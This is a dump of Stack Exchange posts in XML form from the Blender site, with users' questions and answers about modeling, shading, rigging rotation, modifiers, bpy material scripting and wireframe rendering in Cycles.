  <row Id="23589" PostTypeId="2" ParentId="23581" CreationDate="2015-01-22T01:43:45.937" Score="16" Body="&lt;p&gt;Open the properties region by pressing &lt;kbd&gt;N&lt;/kbd&gt;. Then in the &lt;em&gt;Display&lt;/em&gt; section uncheck the &lt;em&gt;Grid Floor&lt;/em&gt; checkbox to turn off the display of the grid floor.&lt;br&gt;&#xA;&lt;img src=&quot;https://i.stack.imgur.com/6DnMl.png&quot; alt=&quot;grid floor settings&quot;&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;If you do not want to see the axis lines, untick the X and Y buttons as well.&lt;/p&gt;&#xA;" OwnerUserId="2217" LastEditorUserId="2217" LastEditDate="2016-11-15T12:55:03.547" LastActivityDate="2016-11-15T12:55:03.547" CommentCount="2" ContentLicense="CC BY-SA 3.0" />
  <row Id="23590" PostTypeId="2" ParentId="23587" CreationDate="2015-01-22T01:47:57.480" Score="6" Body="&lt;p&gt;The exact same can be accomplished by selecting the world tab in the properties editor, clicking use nodes, and setting the &lt;strong&gt;color&lt;/strong&gt; to &lt;em&gt;environment map.&lt;/em&gt; You will still need to open the file location.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;img src=&quot;https://i.stack.imgur.com/SbDgR.png&quot; alt=&quot;enter image description here&quot;&gt;&lt;/p&gt;&#xA;" OwnerUserId="6385" LastEditorUserId="599" LastEditDate="2015-01-22T01:50:19.010" LastActivityDate="2015-01-22T01:50:19.010" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="23591" PostTypeId="2" ParentId="23584" CreationDate="2015-01-22T02:56:11.397" Score="8" Body="&lt;p&gt;One way is to use Blender's bpy python module.&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;import bpy&#xA;dir(bpy.data)&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;As you will see from the output, you can access everything from object data to materials to screen layout. Here is the &lt;a href=&quot;http://www.blender.org/api/blender_python_api_2_73_release/bpy.data.html&quot; rel=&quot;nofollow noreferrer&quot;&gt;API for BPY&lt;/a&gt;.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;The bpy module is typically built into Blender, but there are ways to &lt;a href=&quot;http://wiki.blender.org/index.php/User:Ideasman42/BlenderAsPyModule&quot; rel=&quot;nofollow noreferrer&quot;&gt;compile it into a standalone Python module&lt;/a&gt; that you can load from a regular python file.&lt;/p&gt;&#xA;&#xA;&lt;hr&gt;&#xA;&#xA;&lt;p&gt;Someone has also taken the effort to write and open source a .blend reader in Java here &lt;a href=&quot;http://homac.cakelab.org/projects/JavaBlend/index.html&quot; rel=&quot;nofollow noreferrer&quot;&gt;http://homac.cakelab.org/projects/JavaBlend/index.html&lt;/a&gt;.&lt;/p&gt;&#xA;" OwnerUserId="41" LastEditorUserId="-1" LastEditDate="2016-12-08T12:10:56.750" LastActivityDate="2016-12-08T12:10:56.750" CommentCount="2" ContentLicense="CC BY-SA 3.0" />
  <row Id="23592" PostTypeId="2" ParentId="23571" CreationDate="2015-01-22T03:14:07.813" Score="4" Body="&lt;p&gt;The top image seems to be the rods and cones that line your retina. The image is likely from a scanning electron microscope, then manually colored. (SEM can't see color)&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Fresnel is the easiest way to accomplish the effect.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;img src=&quot;https://i.stack.imgur.com/8Jutj.png&quot; alt=&quot;enter image description here&quot;&gt;&lt;/p&gt;&#xA;" OwnerUserId="41" LastActivityDate="2015-01-22T03:14:07.813" CommentCount="1" ContentLicense="CC BY-SA 3.0" />
  <row Id="23593" PostTypeId="1" AcceptedAnswerId="23611" CreationDate="2015-01-22T04:24:02.377" Score="5" ViewCount="4737" Body="&lt;p&gt;I rotated the upper arm bone of my armature approximately 180&amp;deg; by hand (with &lt;kbd&gt;R&lt;/kbd&gt; and the mouse), but it goes around the wrong way:&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;img src=&quot;https://i.stack.imgur.com/2njUH.gif&quot; alt=&quot;enter image description here&quot;&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I tried going to the problem keyframe, rotating the bone ~-360&amp;deg; (i.e. the opposite direction it rotates in the gif above, but so it's roughly in the same position), however this didn't seem to help.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;How is the rotation direction defined in such cases? How can I control it predictably?&lt;/p&gt;&#xA;" OwnerUserId="599" LastActivityDate="2015-11-04T10:00:10.987" Title="How to control the direction a bone rotates?" Tags="&lt;animation&gt;&lt;rigging&gt;&lt;transforms&gt;&lt;keyframes&gt;" AnswerCount="1" CommentCount="4" FavoriteCount="2" ContentLicense="CC BY-SA 3.0" />
  <row Id="23594" PostTypeId="1" CreationDate="2015-01-22T04:28:08.967" Score="1" ViewCount="1625" Body="&lt;p&gt;Is there a way to make the texture paint brush fuzzy like in Photoshop?  I've tried playing with the Tools/Curve editor, but this seems to only affect the sharpness of the edge of brush stroke - most of the stroke is still thick.  It would be nice to have the curve falloff affect the entire brush head.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;img src=&quot;https://i.stack.imgur.com/74W44.jpg&quot; alt=&quot;enter image description here&quot;&gt;&lt;/p&gt;&#xA;" OwnerUserId="9732" LastEditorUserId="9732" LastEditDate="2015-01-22T04:59:46.913" LastActivityDate="2015-01-22T04:59:46.913" Title="Is there a way to change brush fuzziness in paint mode?" Tags="&lt;texture-painting&gt;" AnswerCount="1" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="23595" PostTypeId="2" ParentId="23594" CreationDate="2015-01-22T04:31:13.800" Score="1" Body="&lt;p&gt;That's exactly what the &lt;em&gt;curve&lt;/em&gt; does:&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;a href=&quot;https://i.stack.imgur.com/IId12.png&quot; rel=&quot;nofollow noreferrer&quot;&gt;&lt;img src=&quot;https://i.stack.imgur.com/IId12.png&quot; alt=&quot;enter image description here&quot;&gt;&lt;/a&gt;&lt;/p&gt;&#xA;" OwnerUserId="599" LastActivityDate="2015-01-22T04:31:13.800" CommentCount="5" ContentLicense="CC BY-SA 3.0" />
  <row Id="23596" PostTypeId="1" AcceptedAnswerId="23597" CreationDate="2015-01-22T05:15:49.573" Score="10" ViewCount="31477" Body="&lt;p&gt;I'm currently working on a model of an X-wing that I'm intending for use in a game and running into a bit of trouble with the shading of the mesh. The upper nose is rounded off where the sensor cone attaches, but at the point it reaches the canopy frame it flattens out and meets at a corner.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Everything is fine and dandy when the sides are modeled:&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;img src=&quot;https://i.stack.imgur.com/USjC1.png&quot; alt=&quot;enter image description here&quot;&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;but once I close it off and add the top of the nose, the shading goes to hell:&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;img src=&quot;https://i.stack.imgur.com/2Vm6i.png&quot; alt=&quot;enter image description here&quot;&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;As you can see, the smoothing gets confused at the lip of the cockpit.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I've tried a couple different means of getting around this, none of which looks right while maintaining the correct shape. The transition from the rounded to flat is a fairly important part of the ship's character, so I don't want to discard the contours, either.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Any tips or suggestions on modeling this area?&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Addendum:&lt;/p&gt;&#xA;&#xA;&lt;p&gt;If I eliminate that second angle where the canopy frame meets the fuselage as marked in red:&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;img src=&quot;https://i.stack.imgur.com/UHIqB.png&quot; alt=&quot;enter image description here&quot;&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;this also fixes the smoothing. However this is not a solution, as the angle is a part of the design. It DOES give me another thought on fixing, but I won't be able to test it until I get home.&lt;/p&gt;&#xA;" OwnerUserId="7576" LastEditorUserId="7576" LastEditDate="2015-01-22T18:00:00.737" LastActivityDate="2015-01-22T18:00:00.737" Title="Smooth shaded model has odd shading" Tags="&lt;modeling&gt;&lt;edges&gt;" AnswerCount="2" CommentCount="1" FavoriteCount="3" ContentLicense="CC BY-SA 3.0" />
  <row Id="23597" PostTypeId="2" ParentId="23596" CreationDate="2015-01-22T06:40:42.473" Score="11" Body="&lt;p&gt;This is because your mesh edges change direction sharply. It's unavoidable by default unless you add supporting geometry to make the transition smoother. &lt;/p&gt;&#xA;&#xA;&lt;p&gt;The image below shows 3 similar cylinders that were smooth shaded. The first has a ngon capping the top, the second is capped with triangles and the last has a ngon cap but has a bevel around the edge. Notice that the 3rd cylinder doesn't have any weird shading since we eliminated the sharp edge.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;img src=&quot;https://i.stack.imgur.com/wL56S.png&quot; alt=&quot;enter image description here&quot;&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;So to fix, add supporting geometry by beveling your edges to avoid sharp curves and turns.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;em&gt;Another&lt;/em&gt; fix is to just add an &lt;em&gt;Edge Split&lt;/em&gt; modifier. The cylinder on the left is the default one shaded smooth, the other one has the modifier. This won't always just work out of the box though for more complicated shapes and might require some tweaking.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;img src=&quot;https://i.stack.imgur.com/GQ3r9.png&quot; alt=&quot;enter image description here&quot;&gt;&lt;/p&gt;&#xA;" OwnerUserId="12" LastEditorUserId="12" LastEditDate="2015-01-22T06:45:44.113" LastActivityDate="2015-01-22T06:45:44.113" CommentCount="7" ContentLicense="CC BY-SA 3.0" />
  <row Id="23598" PostTypeId="2" ParentId="23596" CreationDate="2015-01-22T07:03:47.050" Score="4" Body="&lt;p&gt;As &lt;a href=&quot;https://blender.stackexchange.com/a/23597/599&quot;&gt;mentioned by iKlsR&lt;/a&gt;, this is caused by blender trying to smooth the normals over a sharp edge. &lt;/p&gt;&#xA;&#xA;&lt;p&gt;To avoid this, you can also use &lt;a href=&quot;http://wiki.blender.org/index.php/Dev:Ref/Release_Notes/2.71/Modeling&quot; rel=&quot;nofollow noreferrer&quot;&gt;split normals&lt;/a&gt;.&#xA;Split normals behave basically like the edge split modifier, but without actually splitting edges and creating double vertices.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;To use it, enable &lt;em&gt;Autosmooth&lt;/em&gt; in &lt;em&gt;Properties &gt; Object Data &gt; Normals&lt;/em&gt; and tweak the &lt;em&gt;Angle&lt;/em&gt; as you would with an edge split modifier:&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;img src=&quot;https://i.stack.imgur.com/hZySr.png&quot; alt=&quot;enter image description here&quot;&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;You can also manually mark specific edges, vertices, or faces to be sharp:&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;img src=&quot;https://i.stack.imgur.com/ATU1E.png&quot; alt=&quot;enter image description here&quot;&gt;&lt;/p&gt;&#xA;" OwnerUserId="599" LastEditorUserId="-1" LastEditDate="2017-04-13T12:57:38.987" LastActivityDate="2015-01-22T07:03:47.050" CommentCount="1" ContentLicense="CC BY-SA 3.0" />
  <row Id="23599" PostTypeId="1" CreationDate="2015-01-22T07:24:35.200" Score="3" ViewCount="3370" Body="&lt;p&gt;is there a way to convert multiple 2D image into a 3D model. In other words, does Blender provide a generic tool like SFM reconstruct a 3D model out of images of the object from multiple viewpoints ? Thanks in advance.&lt;/p&gt;&#xA;" OwnerUserId="11133" LastActivityDate="2015-01-22T07:24:35.200" Title="Reconstruct 3D model from multiple 2D images" Tags="&lt;modeling&gt;&lt;image&gt;" AnswerCount="0" CommentCount="5" ContentLicense="CC BY-SA 3.0" />
  <row Id="23600" PostTypeId="1" AcceptedAnswerId="23602" CreationDate="2015-01-22T08:00:17.703" Score="8" ViewCount="224" Body="&lt;p&gt;I've been using blender for a while now - mainly just messing around. So all things being equal - this is a beginners question. (I tried searching, but only found the standard loop cut and slide questions)&lt;/p&gt;&#xA;&#xA;&lt;p&gt;If you take the default cube, and use loop-cuts to split it @ 50% (so all your faces are slit into 4 equal ones). Then if you grab a vertex in the middle of those 4 faces and move it perpendicular to the face (creating a pointed face) - why do some of the adjoining faces come out different than the others? &lt;/p&gt;&#xA;&#xA;&lt;p&gt;Either one of the two is OK with me, but i dislike that all equal faces do not have the same behavior. &lt;/p&gt;&#xA;&#xA;&lt;p&gt;Maybe someone can shed some light on this for me?&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;img src=&quot;https://i.stack.imgur.com/z0NN2.png&quot; alt=&quot;faces are bent&quot;&gt;&#xA;&lt;img src=&quot;https://i.stack.imgur.com/UfMuF.png&quot; alt=&quot;faces are straight&quot;&gt;&lt;/p&gt;&#xA;" OwnerUserId="11135" LastActivityDate="2015-01-22T08:10:36.793" Title="Face behavior not equal after loop cut" Tags="&lt;mesh&gt;&lt;faces&gt;" AnswerCount="1" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="23602" PostTypeId="2" ParentId="23600" CreationDate="2015-01-22T08:10:36.793" Score="9" Body="&lt;p&gt;This is because you have created non-planar faces.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;A non-planar face is a face with vertices which are not aligned in a plane in any direction.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Under the hood everything is represented in triangles (at least for drawing purposes), so blender must decide how to cut the quads. It can cut them two different ways:&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;img src=&quot;https://i.stack.imgur.com/o54Cd.png&quot; alt=&quot;enter image description here&quot;&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Which way is used appears to be decided more or less at random.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;To avoid this undefined behavior, you can split non-planar faces manually to match what you want (&lt;kbd&gt;J&lt;/kbd&gt; works well for this). You can also press &lt;em&gt;3D view &gt; Header &gt; Clean up &gt; Split non-planar faces&lt;/em&gt; to automatically split all non-planar faces automatically:&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;img src=&quot;https://i.stack.imgur.com/29Yz7.png&quot; alt=&quot;enter image description here&quot;&gt;&lt;/p&gt;&#xA;" OwnerUserId="599" LastActivityDate="2015-01-22T08:10:36.793" CommentCount="1" ContentLicense="CC BY-SA 3.0" />
  <row Id="23603" PostTypeId="2" ParentId="23573" CreationDate="2015-01-22T08:52:24.033" Score="2" Body="&lt;p&gt;The simple answer is to increase the &lt;code&gt;Reset Distance&lt;/code&gt; of the near sensor. If you set it to the maximum of 10000 then the object needs to be 10000 blender units away from the triggering object before it stops moving.&lt;/p&gt;&#xA;" OwnerUserId="935" LastActivityDate="2015-01-22T08:52:24.033" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="23605" PostTypeId="1" AcceptedAnswerId="28383" CreationDate="2015-01-22T10:48:12.083" Score="16" ViewCount="8440" Body="&lt;p&gt;How to visualize a value resulted from math node,or just to know it.&#xA;I tried the way of scaling this value to the scene size and then pick the color and get the value but I want more effective way to do this.&lt;/p&gt;&#xA;" OwnerUserId="5794" LastEditorUserId="599" LastEditDate="2015-04-11T21:12:40.293" LastActivityDate="2019-01-19T02:51:45.320" Title="How to visualize a value resulted from math node?" Tags="&lt;workflow&gt;&lt;compositor&gt;" AnswerCount="4" CommentCount="3" FavoriteCount="6" ContentLicense="CC BY-SA 3.0" />
  <row Id="23607" PostTypeId="1" CreationDate="2015-01-22T12:21:50.060" Score="0" ViewCount="668" Body="&lt;p&gt;When selecting the color of a material, I have the option to change diffuse and specular color. Where do I change the ambient color?&lt;/p&gt;&#xA;&#xA;&lt;p&gt;When I export to .obj/.mtl, I get &lt;code&gt;Ka 0.000000 0.000000 0.000000&lt;/code&gt;, which I then need to adjust manually.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;How can I set this value in Blender?&lt;/p&gt;&#xA;&#xA;&lt;p&gt;According to phong model, every object has ambient, diffuse, and specular color. That's why exporting to .obj/.mtl has Ka Kd Ks elements. However, in blender I can only set specular and diffuse color. How can I set ambient color resulting non-zero values of Ka after exporting to .obj/.mtl?&lt;/p&gt;&#xA;" OwnerUserId="11151" LastEditorUserId="527" LastEditDate="2015-01-23T15:10:34.817" LastActivityDate="2015-01-23T16:29:18.570" Title="Ambient color of material" Tags="&lt;materials&gt;&lt;blender-internal-render-engine&gt;" AnswerCount="0" CommentCount="2" ClosedDate="2015-01-26T19:44:18.317" ContentLicense="CC BY-SA 3.0" />
  <row Id="23608" PostTypeId="1" AcceptedAnswerId="23612" CreationDate="2015-01-22T12:53:08.987" Score="2" ViewCount="2533" Body="&lt;p&gt;i'm making an animation of the objects (you can see them in the image) and as you can see they are separate objects, the thing is i want to curve/animate the objects separately with the SimpleDeform modifier (i need to make them 'move' as if they were underwater, but just sightly), but they are a lot, and i want an animation kind of ''harmonius'', so i wanted to know if there's any option to apply the modifier to all objects and then just move/modify keyframes on the dopesheet.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;strong&gt;Is this possible? Thanks in regard.&lt;/strong&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;img src=&quot;https://i.stack.imgur.com/hAd1y.jpg&quot; alt=&quot;enter image description here&quot;&gt;&lt;/p&gt;&#xA;" OwnerUserId="9718" LastActivityDate="2015-01-22T14:30:03.260" Title="Is there any way to apply a modifier to multiple objects in order to make an animation?" Tags="&lt;animation&gt;&lt;modifiers&gt;&lt;keyframes&gt;&lt;dopesheet&gt;" AnswerCount="1" CommentCount="2" ContentLicense="CC BY-SA 3.0" />
  <row Id="23609" PostTypeId="1" CreationDate="2015-01-22T13:17:57.043" Score="0" ViewCount="112" Body="&lt;p&gt;I have multiple objects, all of them are almost the same but scaled or with little modifications, i applied a modifier to one, but i need the same exact parameters to all the other objects, it is possible to duplicate those parameters on the other objects?&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Thanks in regard.&lt;/p&gt;&#xA;" OwnerUserId="9718" LastActivityDate="2015-01-22T13:17:57.043" Title="Duplicate Modifier parameters in other objects?" Tags="&lt;animation&gt;&lt;modifiers&gt;&lt;keyframes&gt;&lt;geometry&gt;" AnswerCount="0" CommentCount="4" ClosedDate="2015-01-22T15:13:39.133" ContentLicense="CC BY-SA 3.0" />
  <row Id="23611" PostTypeId="2" ParentId="23593" CreationDate="2015-01-22T13:29:50.370" Score="4" Body="&lt;p&gt;Experiencing this kind of rotation interpolation problems are not common in your case because you are using Quaternion Rotation. But similar problems can be found easily in the shoulder-like joints if you are using Gimbal rotation (any of the Euler XYZ combinations). Anyway, there is a similar approach for both cases.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;First, you need to know what kind of rotation is being used. It's simple: under rotation axes you'll find Quaternion or Euler (in this case means Gimbal).&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;strong&gt;The common solution&lt;/strong&gt; for both rotation types is adding one (or many) inbetween keyframe to &quot;force&quot; the rotation to go through your desired way (like @sambler told in the comments). If you are working with Quaternions, doing that is a must in big rotation changes.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Why does it happen? &lt;strong&gt;In Quaternion&lt;/strong&gt;, the WXYZ axis are defining a point in a 4-dimensional sphere. For better understanding, we can imaging the same applied to a circle in this image:&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;img src=&quot;https://i.stack.imgur.com/rvbux.jpg&quot; alt=&quot;enter image description here&quot;&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;So the rotation is actually a point traveling through a circle but not only through the edge. In your case, I think that your rotation was more than 180 degrees, so the interpolation went by &quot;the other way&quot; of the circle.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;img src=&quot;https://i.stack.imgur.com/FvzQZ.jpg&quot; alt=&quot;enter image description here&quot;&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Note that the spacing of the rotation is not linear, so it's always recommended inserting inbetween keyframes specially in big rotations.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;strong&gt;In Gimbal&lt;/strong&gt; that's caused because of the gimbal lock. Gimbal axes are parented between themselves. So if you're working on a Euler XYZ setup, X is the child of Y, which is the child of Z. If you rotate 90 degrees the Y axis, then the X axis will align with the Z resulting that two axes are doing the same rotation and you have lost a rotation axis actually.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;So &lt;strong&gt;there's another solution if you are working with Gimbal:&lt;/strong&gt; &lt;a href=&quot;http://en.wikipedia.org/wiki/Euler_filter&quot; rel=&quot;nofollow noreferrer&quot;&gt;Euler Filter&lt;/a&gt;. Euler Filter is located in the F-Curve Window in the Key Menu:&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;img src=&quot;https://i.stack.imgur.com/kKLTt.png&quot; alt=&quot;enter image description here&quot;&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;There is plenty of material in the Internet about Gimbal lock. If you want to know more about Quaternions or Gimbal in Blender, are pretty well covered in Nathan Vegdahl's Humane Rigging DVD (you can check Quaternions video &lt;a href=&quot;https://www.youtube.com/watch?v=4mXL751ko0w&quot; rel=&quot;nofollow noreferrer&quot;&gt;here&lt;/a&gt;). Actually the two circle images are from that video (under a CC Licence).&lt;/p&gt;&#xA;" OwnerUserId="9482" LastEditorUserId="9482" LastEditDate="2015-11-04T10:00:10.987" LastActivityDate="2015-11-04T10:00:10.987" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="23612" PostTypeId="2" ParentId="23608" CreationDate="2015-01-22T14:16:05.610" Score="5" Body="&lt;p&gt;&lt;kbd&gt;Ctrl&lt;/kbd&gt;+&lt;kbd&gt;L&lt;/kbd&gt; gives you the option to link the modifiers from the active object to all other selected objects.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;This will overwrite the modifiers of the object being copied to, so there is a really useful plugin to copy any one of the modifiers and not overwrite others, which is called: &lt;em&gt;3D View: Copy Attributes Menu&lt;/em&gt;.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;When this is enabled, use the hotkey &lt;kbd&gt;Crtl&lt;/kbd&gt;+&lt;kbd&gt;C&lt;/kbd&gt; to bring up the menu options, and use the &lt;em&gt;copy selected modifiers&lt;/em&gt; option to copy your modifier.&lt;/p&gt;&#xA;" OwnerUserId="11154" LastEditorUserId="5705" LastEditDate="2015-01-22T14:30:03.260" LastActivityDate="2015-01-22T14:30:03.260" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="23613" PostTypeId="1" AcceptedAnswerId="23632" CreationDate="2015-01-22T14:42:08.110" Score="1" ViewCount="1689" Body="&lt;p&gt;Is there any way i can randomize automatically the keyframes position between a lot of objects? for example, i have 10 objects, with the same animation, and i want to move the keyframes for every single objects on the timeline, so one of those will start at keyframe 1, the other at keyframe 10, the others at 20, 25, etc. I need to know this so i can save time and also making a lot of random animations fast without having to enter in each dopesheet of each item, because maybe then ill have to animate like 100 objects..&lt;/p&gt;&#xA;" OwnerUserId="9718" LastActivityDate="2015-01-22T20:17:50.733" Title="Is there any way to randomize the keyframes position for multiple objects?" Tags="&lt;animation&gt;&lt;keyframes&gt;" AnswerCount="1" CommentCount="1" FavoriteCount="1" ContentLicense="CC BY-SA 3.0" />
  <row Id="23614" PostTypeId="1" AcceptedAnswerId="23615" CreationDate="2015-01-22T14:46:30.277" Score="5" ViewCount="893" Body="&lt;p&gt;I'd like to, in code, remove a material from a material slot without deleting that material slot (because deleting it would remove the connections between that material slot and the vertices). The only code I've found that can remove materials also deletes the material slot: &lt;code&gt;bpy.ops.object.material_slot_remove()&lt;/code&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I've also tried to use the &lt;code&gt;property_unset&lt;/code&gt; function in the material slot, but it just doesn't seem to do anything. For example: &lt;code&gt;C.object.material_slots[0].property_unset('material')&lt;/code&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Setting the material to something else is fairly straightforward, but setting it to NULL seems impossible, even though it's easy to do via the interface.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;This is related to, but not solved by:&lt;a href=&quot;https://blender.stackexchange.com/questions/8475/python-set-material-to-material-slot&quot;&gt;Python - Set material to material slot&lt;/a&gt;&lt;/p&gt;&#xA;" OwnerUserId="11154" LastEditorUserId="-1" LastEditDate="2017-04-13T12:57:38.497" LastActivityDate="2015-01-22T14:59:29.277" Title="Assign Material Slot to no material via python" Tags="&lt;python&gt;&lt;materials&gt;" AnswerCount="1" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="23615" PostTypeId="2" ParentId="23614" CreationDate="2015-01-22T14:59:29.277" Score="7" Body="&lt;p&gt;Its as easy as &lt;code&gt;bpy.context.object.data.materials[0] = None&lt;/code&gt;. Check this answer &lt;a href=&quot;https://blender.stackexchange.com/questions/23433/assign-a-new-material-to-an-object-in-the-scene/23434#23434&quot;&gt;How to assign a new material to an object in the scene from Python?&lt;/a&gt; to see why and how it works.&lt;/p&gt;&#xA;" OwnerUserId="7777" LastEditorUserId="-1" LastEditDate="2017-04-13T12:57:39.940" LastActivityDate="2015-01-22T14:59:29.277" CommentCount="1" ContentLicense="CC BY-SA 3.0" />
  <row Id="23616" PostTypeId="1" AcceptedAnswerId="23619" CreationDate="2015-01-22T15:28:17.790" Score="15" ViewCount="22820" Body="&lt;p&gt;I need to know how to render a object on Blender Cycles but only as a wireframe, for example, like this:&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;img src=&quot;https://i.stack.imgur.com/CLH8d.png&quot; alt=&quot;enter image description here&quot;&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Also, it is possible to vary between the smooth wireframe object and the polygonal wireframe object? &lt;/p&gt;&#xA;&#xA;&lt;p&gt;Thanks in regard.&lt;/p&gt;&#xA;" OwnerUserId="9718" LastActivityDate="2018-04-12T23:41:16.660" Title="How to render as only wireframe in Cycles?" Tags="&lt;rendering&gt;&lt;cycles-render-engine&gt;&lt;wireframe&gt;" AnswerCount="2" CommentCount="5" FavoriteCount="4" ContentLicense="CC BY-SA 3.0" />
  <row Id="23617" PostTypeId="1" AcceptedAnswerId="23624" CreationDate="2015-01-22T15:29:39.637" Score="2" ViewCount="1045" Body="&lt;p&gt;I am trying out some of the Freestyle line setups from here: &lt;a href=&quot;http://www.blendswap.com/blends/view/18717&quot; rel=&quot;nofollow noreferrer&quot;&gt;http://www.blendswap.com/blends/view/18717&lt;/a&gt;&lt;/p&gt;&#xA;&lt;p&gt;When I render using these .blend files, I am getting a cropped render. How can the render be edited to show the full view in a different size?&lt;/p&gt;&#xA;&lt;p&gt;&lt;img src=&quot;https://i.stack.imgur.com/QdPPD.png&quot; alt=&quot;cropped render&quot; /&gt;&#xA;Preview of cropped render&lt;/p&gt;&#xA;" OwnerUserId="7524" LastEditorUserId="-1" LastEditDate="2020-06-10T12:57:44.663" LastActivityDate="2015-01-22T17:36:10.683" Title="Render being cropped?" Tags="&lt;rendering&gt;" AnswerCount="1" CommentCount="4" FavoriteCount="1" ContentLicense="CC BY-SA 3.0" />
  <row Id="23619" PostTypeId="2" ParentId="23616" CreationDate="2015-01-22T15:53:46.577" Score="14" Body="&lt;p&gt;Add the &lt;strong&gt;&lt;em&gt;Wireframe modifier&lt;/em&gt;&lt;/strong&gt; and adjust the &lt;em&gt;Thickness&lt;/em&gt; value.&#xA;&lt;img src=&quot;https://i.stack.imgur.com/0IT16.jpg&quot; alt=&quot;enter image description here&quot;&gt;&#xA;&lt;img src=&quot;https://i.stack.imgur.com/nKWZ3.jpg&quot; alt=&quot;enter image description here&quot;&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Now set up the &lt;em&gt;World&lt;/em&gt;'s color to black and make the wire look brighter (replace Diffuse with an Emission shader). You may also increase its &lt;em&gt;Strenght&lt;/em&gt; value to 2.000 or 3.000 if it isn't bright enough.&lt;br&gt;&#xA;&lt;img src=&quot;https://i.stack.imgur.com/PxCP7.jpg&quot; alt=&quot;enter image description here&quot;&gt;&#xA;&lt;img src=&quot;https://i.stack.imgur.com/IJaNW.jpg&quot; alt=&quot;enter image description here&quot;&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;To vary between the smooth wireframe object and the polygonal wireframe object place the &lt;em&gt;Subdivision Surface modifier&lt;/em&gt; above the &lt;em&gt;Wireframe modifier&lt;/em&gt; and set up the desired amount of subdivisions. Now changing the type from &lt;em&gt;Catmull-Clark&lt;/em&gt; to &lt;em&gt;Simple&lt;/em&gt; will result in making the wire look more polygonal.&#xA;&lt;img src=&quot;https://i.stack.imgur.com/2s5gz.jpg&quot; alt=&quot;enter image description here&quot;&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Here's the rendered result.&#xA;&lt;img src=&quot;https://i.stack.imgur.com/XauJm.jpg&quot; alt=&quot;enter image description here&quot;&gt;&lt;/p&gt;&#xA;" OwnerUserId="7797" LastEditorUserId="7797" LastEditDate="2015-08-30T14:10:15.497" LastActivityDate="2015-08-30T14:10:15.497" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
